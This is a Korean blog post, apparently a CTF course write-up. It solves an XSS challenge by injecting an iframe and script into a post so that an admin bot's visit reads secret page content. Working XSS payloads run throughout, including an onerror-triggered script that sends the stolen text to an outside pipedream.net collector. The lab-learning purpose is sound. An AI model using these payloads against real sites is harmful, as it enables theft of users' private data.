문제 풀이
문제를 보니 "중요 정보가 있는 페이지와 똑같은 페이지"에서 추출 할 수 있는 HTML 태그를 찾은 후 XSS로 관리자 봇이 접근 하도록 해야 할 것 같다.
" 중요 정보가 있는 페이지와 똑같은 페이지"의 'this is a very secret info'문자열의 위치에 중요한 정보가 있을 듯 하니 해당 위치의 Text를 가져와 보자
태그에서 필요한 데이터를 추출할 수 있게 되었으니 XSS를 통해 해당 데이터를 공격 서버로 전달하는 방법을 찾아보자
공격하는 페이지와 XSS가 실행되는 페이지가 다른 페이지이므로 XSS를 사용하여 iframe으로 해당 페이지를 불러온 후 원하는 데이터에 접근하여 데이터를 전달 할 것이다.
1. xss를 사용하여 Iframe으로 공격 대상 페이지 불러오기
Content-Disposition: form-data; name="update_body"
p123
</div>
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="targtet" width="300" height="200"></iframe>
<div>
2. iframe 내부의 데이터 가져오기
id로 iframe을 가져오고 iframe의 contentDocument를 접근하면 iframe의 태그에 접근 할 수 있다.
스크립트가 실행중인 시점에 Dom이 모두 그려지지 않았기 때문에 "card-text"접근 시 undifined가 발생한다.
이를 해결하기 위해 img 태그 내부의 onerror함수로 넣고 src='x'로 넣게 된다면 이미지 태그는 모든 돔이 그려진 뒤 이미지를 호출 하기 때문에 "card-text"가 존재하는 시점에 스크립트가 실행된다.
Content-Disposition: form-data; name="update_body"
p123
</div>
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="target" width="300" height="200"></iframe>
<script>
var b = new Image()
b.onerror = function () {
var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByClassName('card-text')[1].innerHTML
var i = new Image()
i.src = "https://enbuhmg3h5bhb.x.pipedream.net/?srcret=" + domData
}
b.src='x'
</script>
<div>
3. 데이터 전달하기
페이지에 접근 결과 urnEncoding된 데이터로 "this is a very secret info"를 확인 할 수 있다.
이제 iframe에 카피 페이지가 아닌 실제 데이터가 있는 페이지로 url을 변경하고 관리자가 접근 하도록 봇에 url을 넘겨보
mypage.html 에서 secret.php 로 iframe url을 변경
Content-Disposition: form-data; name="update_body"
p123
</div>
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="target" width="300" height="200"></iframe>
<script>
var b = new Image()
b.onerror = function () {
var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByClassName('card-text')[1].innerHTML
var i = new Image()
i.src = "https://enbuhmg3h5bhb.x.pipedream.net/?srcret=" + domData
}
b.src='x'
</script>
<div>
관리자 봇에 해당 XSS가 포함된 게시물의 URL을 전달하면 Flag를 얻을 수 있다.
정리
1. iframe으로 공격 대상이 되는 페이지를 XSS가 일어날 수 있는 페이지에서 추가 삽입한다.
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="target" width="300" height="200"></iframe>
2. iframe내부의 공격 대상이 되는 태그의 데이터를 추출한다.
var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByClassName('card-text')[1].innerHTML
3. 스크립트의 실행 시점에 데이터가 존재하지 않느다면 onerror등을 통해 이후에 실행 하도록 한다.
var b = new Image()
b.onerror = function () {
var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByClassName('card-text')[1].innerHTML
var i = new Image()
i.src = "https://enbuhmg3h5bhb.x.pipedream.net/?srcret=" + domData
}
b.src='x'
4.데이터를 전송한다.
- XSS 삽입된 페이지 접속
'웹 해킹 코스 > 과제' 카테고리의 다른 글
12주차 CSRF 문제 풀이(Get Admin1) (0) | 2024.01.22 |
---|---|
11주차 Steal Info2 (0) | 2024.01.20 |
XSS 문제풀이 및 보고서 작성하기 (0) | 2024.01.01 |
SQL Injection Point 4 (0) | 2023.12.20 |
SQL Injection Point 3 (0) | 2023.12.20 |